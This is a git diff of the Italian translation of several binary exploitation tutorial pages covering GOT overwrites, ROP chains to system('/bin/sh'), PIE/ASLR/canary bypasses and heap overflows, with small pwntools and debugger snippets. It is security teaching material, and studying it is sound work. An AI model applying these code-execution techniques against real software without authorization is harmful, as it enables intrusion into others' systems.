Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -12,11 +12,11 @@ Ogni voce nella GOT corrisponde a un simbolo nelle librerie esterne che il binar
 
 ### **PLT: Tabella di Collegamento delle Procedure**
 
-La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a una voce nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**.
+La **Tabella di Collegamento delle Procedure (PLT)** lavora a stretto contatto con la GOT e funge da trampolino per gestire le chiamate a funzioni esterne. Quando un binario **chiama una funzione esterna per la prima volta, il controllo viene passato a un'entrata nella PLT associata a quella funzione**. Questa voce PLT è responsabile dell'invocazione del linker dinamico per risolvere l'indirizzo della funzione se non è già stato risolto. Dopo che l'indirizzo è stato risolto, viene memorizzato nella **GOT**.
 
 **Pertanto,** le voci GOT vengono utilizzate direttamente una volta che l'indirizzo di una funzione o variabile esterna è stato risolto. **Le voci PLT vengono utilizzate per facilitare la risoluzione iniziale** di questi indirizzi tramite il linker dinamico.
 
-## Ottieni Esecuzione
+## Ottenere Esecuzione
 
 ### Controlla la GOT
 
@@ -26,7 +26,7 @@ Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`**
 
 Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT`
 
-![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
+![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
 
 Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`got`** per vedere la tabella got:
 
@@ -36,15 +36,15 @@ Utilizzando GEF puoi **iniziare** una sessione di **debugging** ed eseguire **`g
 
 In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT** che caricherà l'indirizzo della funzione. L'obiettivo di questa scrittura arbitraria è **sovrascrivere una voce GOT** di una funzione che verrà eseguita successivamente **con** l'**indirizzo** della PLT della **funzione** **`system`** ad esempio.
 
-Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (in modo da poter controllare i parametri inviati alla funzione di sistema).
+Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (quindi sarai in grado di controllare i parametri inviati alla funzione di sistema).
 
-Se **`system`** **non è utilizzato** dal binario, la funzione di sistema **non avrà** una voce nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
+Se **`system`** **non è utilizzato** dal binario, la funzione di sistema **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo.
 
 Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`**
 
 ## Voci GOT di libc
 
-La **GOT di libc** è solitamente compilata con **RELRO parziale**, rendendola un buon obiettivo per questo supponendo sia possibile capire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+La **GOT di libc** è solitamente compilata con **RELRO parziale**, rendendola un buon obiettivo per questo supponendo sia possibile capire il suo indirizzo ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Le funzioni comuni di libc chiameranno **altre funzioni interne** le cui GOT potrebbero essere sovrascritte per ottenere l'esecuzione del codice.
 
@@ -68,7 +68,7 @@ Inoltre, se `puts` viene utilizzato con input dell'utente, è possibile sovrascr
 
 ## **Abusare della GOT dall'Heap**
 
-Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, così ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\
+Un modo comune per ottenere RCE da una vulnerabilità dell'heap è abusare di un fastbin in modo da poter aggiungere la parte della tabella GOT nel fast bin, quindi ogni volta che quel chunk viene allocato sarà possibile **sovrascrivere il puntatore di una funzione, di solito `free`**.\
 Poi, puntando `free` a `system` e liberando un chunk dove è stato scritto `/bin/sh\x00` eseguirà una shell.
 
 È possibile trovare un [**esempio qui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -10,13 +10,13 @@ Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte
 elf-tricks.md
 {{#endref}}
 
-## Strumenti di Exploitation
+## Strumenti di Sfruttamento
 
 {{#ref}}
 tools/
 {{#endref}}
 
-## Metodologia di Stack Overflow
+## Metodologia dello Stack Overflow
 
 Con così tante tecniche, è utile avere uno schema su quando ciascuna tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. Puoi trovare modi per bypassare le protezioni in ciascuna sezione di protezione, ma non in questa metodologia.
 
@@ -24,10 +24,10 @@ Con così tante tecniche, è utile avere uno schema su quando ciascuna tecnica s
 
 Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma:
 
-- [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
+- [**Stack Overflows**](../stack-overflow/index.html) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
 - Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow.
 - Oppure tramite **Arbitrary Writes + Write What Where to Execution**.
-- [**Format strings**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
+- [**Format strings**](../format-strings/index.html)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
 - [**Array Indexing**](../array-indexing.md): Abusare di un indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria.
 - Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow.
 - **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
@@ -40,28 +40,28 @@ Puoi trovare le tecniche di **Write What Where to Execution** in:
 
 ## Loop Eterni
 
-Qualcosa da tenere in considerazione è che di solito **solo un exploitation di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
+Qualcosa da tenere in considerazione è che di solito **solo un sfruttamento di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
 
 - Scrivere in una **catena ROP** l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
 - Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena.
-- Scrivere nell'**indirizzo `exit` in GOT** (o in qualsiasi altra funzione utilizzata dal binario prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
-- Come spiegato in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per richiamare di nuovo la vulnerabilità e un'altra per chiamare **`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`.
+- Scrivere nell'**indirizzo `exit` in GOT** (o qualsiasi altra funzione utilizzata dal binario prima di terminare) l'indirizzo per **tornare alla vulnerabilità**.
+- Come spiegato in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per chiamare di nuovo la vulnerabilità e un'altra per chiamare **`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`.
 
-## Obiettivi di Exploitation
+## Obiettivi di Sfruttamento
 
 ### Obiettivo: Chiamare una Funzione Esistente
 
 - [**ret2win**](#ret2win): C'è una funzione nel codice che devi chiamare (forse con alcuni parametri specifici) per ottenere il flag.
-- In un **bof regolare senza** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) devi solo scrivere l'indirizzo nel puntatore di ritorno memorizzato nello stack.
-- In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), dovrai bypassarlo.
-- In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), dovrai bypassarlo.
-- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win** puoi usare:
-- Una [**catena ROP**](#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (nel caso tu possa chiamare questa syscall) per controllare molti registri.
+- In un **bof regolare senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) devi solo scrivere l'indirizzo nel puntatore di ritorno memorizzato nello stack.
+- In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), dovrai bypassarlo.
+- In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), dovrai bypassarlo.
+- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win**, puoi usare:
+- Una **catena ROP** (se ci sono abbastanza gadget) per preparare tutti i parametri.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (nel caso tu possa chiamare questa syscall) per controllare molti registri.
 - Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri.
-- Tramite un [**Write What Where**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
+- Tramite un [**Write What Where**](../arbitrary-write-2-exec/index.html) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
 - [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
 - [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
 
 ### Obiettivo: RCE
@@ -69,31 +69,31 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
 #### Via shellcode, se nx disabilitato o mescolando shellcode con ROP:
 
 - [**(Stack) Shellcode**](#stack-shellcode): Questo è utile per memorizzare uno shellcode nello stack prima o dopo aver sovrascritto il puntatore di ritorno e poi **saltare a esso** per eseguirlo:
-- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in un bof regolare dovrai bypassarlo (leak).
-- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai.
-- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltare a esso.
-- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai usare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
+- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** in un bof regolare dovrai bypassarlo (leak).
+- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai.
+- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltare a esso.
+- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai usare alcuni [**ROP**](../rop-return-oriented-programing/index.html) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì.
 - Questo mescolerà shellcode con una catena ROP.
 
 #### Via syscalls
 
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile per chiamare `execve` per eseguire comandi arbitrari. Devi essere in grado di trovare i **gadget per chiamare la specifica syscall con i parametri**.
-- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) sono abilitati, dovrai sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) può essere utile per preparare il **ret2execve**.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Utile per chiamare `execve` per eseguire comandi arbitrari. Devi essere in grado di trovare i **gadget per chiamare la specifica syscall con i parametri**.
+- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) sono abilitati, dovrai sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) può essere utile per preparare il **ret2execve**.
 - Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri.
 
 #### Via libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad esempio, `'/bin/sh'`). Devi che il binario **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
-- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
-- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
-- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conoscendo la libc e con il binario che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system in GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
-- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) ma senza [PIE](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e **senza che il binario utilizzi la `system`**:
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad es. `'/bin/sh'`). Devi che il binario **carichi la libreria** con la funzione che desideri chiamare (libc di solito).
+- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
+- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente.
+- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conoscendo la libc e con il binario che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system in GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo).
+- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ma senza [PIE](../common-binary-protections-and-bypasses/pie/index.html), conoscendo la libc e **senza che il binario utilizzi la `system`**:
 - Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo.
-- **Bypassa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcola l'indirizzo di `system` e `'/bin/sh'` in memoria.
-- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e non conoscendo la libc**: Devi:
-- Bypassare [**PIE**](../common-binary-protections-and-bypasses/pie/).
-- Trovare la **versione di `libc`** utilizzata (leakare un paio di indirizzi di funzione).
+- **Bypassa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) e calcola l'indirizzo di `system` e `'/bin/sh'` in memoria.
+- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e non conoscendo la libc**: Devi:
+- Bypassare [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
+- Trovare la **versione di `libc`** utilizzata (leak un paio di indirizzi di funzione).
 - Controllare gli **scenari precedenti con ASLR** per continuare.
 
 #### Via EBP/RBP
@@ -105,7 +105,7 @@ Qualcosa da tenere in considerazione è che di solito **solo un exploitation di
 #### Varie
 
 - [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
 - [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,13 +4,13 @@
 
 ## Informazioni di base
 
-Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate a **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow mettendo il codice malevolo nello stack, ad esempio, e dirigendo il flusso di esecuzione verso di esso.
+Il **No-Execute (NX)** bit, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate a **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow, mettendo ad esempio il codice malevolo nello stack e dirigendo il flusso di esecuzione verso di esso.
 
 ## Bypass
 
-- È possibile utilizzare tecniche come [**ROP**](../rop-return-oriented-programing/) **per bypassare** questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- È possibile utilizzare tecniche come [**ROP**](../rop-return-oriented-programing/index.html) **per bypassare** questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -6,7 +6,7 @@
 
 Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded.
 
-Il trucco per sfruttare questi binari consiste nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come gli attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
+Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
 
 Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\
 Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
@@ -15,15 +15,15 @@ Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a
 
 Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo:
 
-- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE è sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
-- Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force dei valori EBP ed EIP** nello stack fino a quando non leak i valori corretti:
+- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE viene sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
+- Essere **forniti** del leak (comune in sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
+- **Brute-force dei valori EBP ed EIP** nello stack fino a leakare quelli corretti:
 
 {{#ref}}
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Utilizzare una vulnerabilità di **lettura arbitraria** come [**format string**](../../format-strings/) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Utilizzare una vulnerabilità di **lettura arbitraria** come [**format string**](../../format-strings/index.html) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Riferimenti
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di base
 
-Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare alcuni dati e **i dati memorizzati erano più grandi dello spazio riservato.**
+Un heap overflow è simile a un [**stack overflow**](../stack-overflow/index.html) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare dei dati e **i dati memorizzati erano più grandi dello spazio riservato.**
 
 Negli stack overflow sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflow, **non ci sono informazioni sensibili memorizzate per impostazione predefinita** nel chunk dell'heap che può essere sovrascritto. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne.
 

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -4,7 +4,7 @@
 
 ## **Informazioni di Base**
 
-**Return-Oriented Programming (ROP)** è una tecnica di sfruttamento avanzata utilizzata per eludere misure di sicurezza come **No-Execute (NX)** o **Data Execution Prevention (DEP)**. Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come **"gadgets"**. Ogni gadget termina tipicamente con un'istruzione `ret` e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Collegando insieme questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, bypassando efficacemente le protezioni NX/DEP.
+**Return-Oriented Programming (ROP)** è una tecnica di sfruttamento avanzata utilizzata per eludere misure di sicurezza come **No-Execute (NX)** o **Data Execution Prevention (DEP)**. Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come **"gadgets"**. Ogni gadget termina tipicamente con un'istruzione `ret` e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Collegando insieme questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, eludendo efficacemente le protezioni NX/DEP.
 
 ### Come Funziona ROP
 
@@ -29,15 +29,15 @@ Prima, assumiamo di aver identificato i gadget necessari all'interno del binario
 
 - `pop eax; ret`: Questo gadget estrae il valore superiore dello stack nel registro `EAX` e poi restituisce, permettendoci di controllare `EAX`.
 - `pop ebx; ret`: Simile a quello sopra, ma per il registro `EBX`, abilitando il controllo su `EBX`.
-- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **gadget write-what-where**.
+- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **write-what-where gadget**.
 - Inoltre, abbiamo l'indirizzo della funzione `system()` disponibile.
 
 ### **Catena ROP**
 
 Utilizzando **pwntools**, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire `system('/bin/sh')`, nota come la catena inizia con:
 
-1. Un'istruzione `ret` per motivi di allineamento (opzionale)
-2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/))
+1. Un'istruzione `ret` per scopi di allineamento (opzionale)
+2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/index.html))
 3. Segnaposto per l'indirizzo di ritorno da `system()`
 4. Indirizzo della stringa `"/bin/sh"` (parametro per la funzione system)
 ```python
@@ -73,15 +73,15 @@ payload = fit({offset: rop_chain})
 p.sendline(payload)
 p.interactive()
 ```
-## Esempio di ROP Chain in x64
+## ROP Chain in x64 Example
 
-### **Convenzioni di chiamata x64 (64-bit)**
+### **x64 (64-bit) Calling conventions**
 
-- Utilizza la convenzione di chiamata **System V AMD64 ABI** sui sistemi simili a Unix, dove i **primi sei argomenti interi o puntatori vengono passati nei registri `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno è posizionato in `RAX`.
-- La convenzione di chiamata **Windows x64** utilizza `RCX`, `RDX`, `R8` e `R9` per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno è posizionato in `RAX`.
+- Utilizza la **System V AMD64 ABI** calling convention sui sistemi simili a Unix, dove i **primi sei argomenti interi o puntatori vengono passati nei registri `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno è posizionato in `RAX`.
+- La calling convention **Windows x64** utilizza `RCX`, `RDX`, `R8` e `R9` per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno è posizionato in `RAX`.
 - **Registri**: i registri a 64 bit includono `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
 
-#### **Trovare Gadget**
+#### **Finding Gadgets**
 
 Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget:
 
@@ -140,13 +140,13 @@ In questo esempio:
 ## Differenza principale tra x86 e x64
 
 > [!TIP]
